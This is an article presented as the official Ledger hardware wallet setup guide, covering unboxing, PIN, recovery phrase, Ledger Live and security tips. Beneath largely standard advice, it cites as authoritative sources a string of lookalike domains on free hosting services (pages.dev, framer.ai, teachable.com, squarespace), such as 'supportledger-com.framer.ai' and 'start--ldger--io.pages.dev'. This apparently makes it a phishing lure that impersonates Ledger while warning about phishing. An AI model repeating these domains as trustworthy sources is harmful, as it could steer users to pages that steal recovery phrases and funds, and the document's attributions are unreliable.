Ledger.com/start – Official Setup for Ledger Hardware Wallet

stveejohn

31 Dec 2025 — 5 min read

Setting up a hardware wallet is one of the most important steps you can take to secure your cryptocurrency. Ledger hardware wallets (like the Nano S Plus, Nano X, Stax) are trusted by millions because they store private keys offline — away from internet threats. Ledger.com/start is the official and only recommended starting point for setup, downloads, firmware, and security guidance. en-ledgercomstart.pages.dev+1

1. Why Ledger.com/start Is the Only Safe Setup Entry

Before we dive into the setup steps, let’s clarify why you must always use the official Ledger Start page:

✅ Official and Verified Source

Ledger.com/start is designed by Ledger to provide verified instructions and downloads. ledger-com-about.framer.ai
It includes links to download Ledger Live — the official app used to manage your Ledger wallet. supportledger-com.framer.ai

❌ Avoid Fake Setup Pages

Crypto scams often use fake Ledger sites that mimic the official address but are phishing traps designed to steal your recovery phrase or install malware. Always type the URL manually and confirm the browser’s padlock icon. start--ldger--io.pages.dev

2. What You’ll Need Before You Start

Prepare these essentials before you begin:

✅ Your Ledger hardware wallet (Nano S Plus, Nano X, Stax, or Flex)
✅ USB cable (included with the device) or Bluetooth (for Nano X)
✅ A computer or mobile device with internet access
✅ A calm, secure environment — free from prying eyes
✅ A pen and the provided recovery sheet (physical) — not digital welcome-ledger-io.teachable.com

3. Step‑By‑Step Setup Guide

This section walks you through the entire process from unboxing to managing crypto in Ledger Live.

Step 1 — Unbox and Inspect Your Ledger Device

Carefully open your Ledger device packaging.
Inside, you should find:
- The Ledger hardware wallet
- USB cable
- Recovery phrase card(s)
- Quick start guide or leaflet Ledger Hardware Wallet Setup Guide

Security Tip:
Ensure the device isn’t pre‑configured and the box hasn’t been tampered with. Never use a device with a pre‑written recovery phrase — that’s a major security risk. start-ledger-help.squarespace.com

Step 2 — Visit Ledger.com/start (Official Setup Page)

Open a trusted browser (Chrome, Firefox, Edge, Safari).
Go to: https://www.ledger.com/start

➡️ This page will detect your platform and provide the correct onboarding flow and downloads for your device. ledger-com-about.framer.ai

Do NOT:

Click links in emails, ads, or social posts.
Use search engine ads — these can be phishing traps.

Step 3 — Download and Install Ledger Live

Ledger Live is the official companion app you’ll use to manage accounts and crypto assets. supportledger-com.framer.ai

From Ledger.com/start:

Choose your OS: Windows, macOS, Linux, iOS & Android.
Click download and install Ledger Live.
Open Ledger Live once installed.

Important Security Note:
Only download Ledger Live from the official site. Fake installers are a common scam method. ledger-com-about.framer.ai

Step 4 — Connect Your Ledger Device

Connect your device using the provided USB cable or Bluetooth (Nano X).
Press the hardware buttons (or touch interface for Stax/Flex) to wake the device.

You’ll see a welcome message on the screen.

Step 5 — Choose Setup Option

On your Ledger device, you’ll be prompted to choose:

📌 Set up as a new device
➡️ This is for brand‑new wallets.

📌 Restore from recovery phrase
➡️ Use this only if you’re recovering an existing wallet.
🌟 Never enter your recovery into any software other than the device itself. Ledger Getting Started Guide

Step 6 — Create a PIN Code

Your Ledger device will ask you to choose a PIN (4–8 digits). Ledger Start® Setup Guide

🔐 PIN Tips:

Use at least 6 digits.
Avoid obvious combinations like 1234 or birthdates.
Write your PIN down physically in a secure place.

Never store your PIN digitally.

This PIN protects your Ledger if it’s lost or stolen. After 3 incorrect attempts, the device will reset. Ledger Start® Setup Guide

Step 7 — Generate & Write Down Your Recovery Phrase

Once the PIN is set, the device displays your recovery phrase — typically 24 words. Ledger Getting Started Guide

⚠️ This is the single most critical backup for your crypto wallet.
If you lose this phrase, you lose access to your funds.

Instructions:

Write each word on the provided sheet.
Check spelling carefully.
Never take photos or save it on any digital device. Ledger Getting Started Guide

Security Rule:
Never share your recovery phrase with anyone — including “support” agents. Ledger will never ask for it. supportledger-com.framer.ai

Step 8 — Confirm Your Recovery Phrase

Ledger will ask you to confirm certain words to verify that you recorded them correctly.
This ensures you can recover your wallet later if needed. startguide-ledger.teachable.com

Step 9 — Final Initialization and Firmware Check

Once the recovery phrase is confirmed:

Ledger Live will guide you to connect and verify the device.
It may check firmware and install updates — always say yes to firmware updates. ledger-com-about.framer.ai

Updating ensures you have the latest security protections and support.

Step 10 — Install Cryptocurrency Apps

In Ledger Live:

Go to the Manager tab.
Install apps for the crypto you want to manage (BTC, ETH, SOL, ADA, etc.).

Apps on Ledger Live allow the device to interact with specific blockchains.

Step 11 — Add Accounts

Within Ledger Live:

Go to Accounts
Click Add account
Select your crypto (e.g., Bitcoin, Ethereum)
Ledger Live will sync and display your portfolio. ledger-com-about.framer.ai

4. What You Can Do Now in Ledger Live

Once setup is complete, Ledger Live lets you:

🔹 Send & Receive crypto
🔹 Buy & sell (via integrated providers)
🔹 Swap assets
🔹 Stake supported coins
🔹 Manage NFTs
🔹 View portfolio balance and history
🔹 Install new currency apps supportledger-com.framer.ai

5. Critical Security Tips

Your security doesn’t end at setup — these are best practices:

Ledger will never ask for it — not via email, phone, support, or social media. supportledger-com.framer.ai

🛡️ Always download Ledger Live from Ledger.com/start.

Fake installers carry malware or phishing scripts. ledger-com-about.framer.ai

🛡️ Confirm transactions on the device.

Always check the address and amount shown on the hardware device before approving.

🛡️ Update firmware regularly.

Ledger releases security improvements — keep both the device and Ledger Live updated.

🛡️ Use a metal backup for your recovery phrase.

Paper can degrade or be destroyed by fire/water.

6. Restoring a Wallet Later

If your Ledger is lost, stolen, or damaged:

Get a new Ledger device.
Choose Restore from recovery phrase in setup.
Enter your 24‑word phrase carefully.
Your wallet and assets will re‑appear on the new device.

Never enter your seed on a website or software — only on the Ledger device itself.

7. Common Beginner Mistakes & How to Avoid Them

Mistake	Consequence	How to Avoid
Storing recovery digitally	Theft via hacks	Write recovery offline
Using fake Ledger setup pages	Phishing loss	Always enter Ledger.com/start manually
Sharing recovery phrase	Immediate loss of funds	Keep private & offline

Real examples from user reports highlight how scams work: entering the seed on fake pages led to theft. Always verify the official site. Reddit

8. Final Thoughts

Setting up your hardware wallet through Ledger.com/start is the most secure way to protect your crypto assets. The process is designed for both beginners and experienced users — with strong emphasis on security at every step. en-ledgercomstart.pages.dev

Your digital assets become truly yours only when:
✔ you control the private keys
✔ your recovery phrase is secure
✔ you follow the correct setup procedure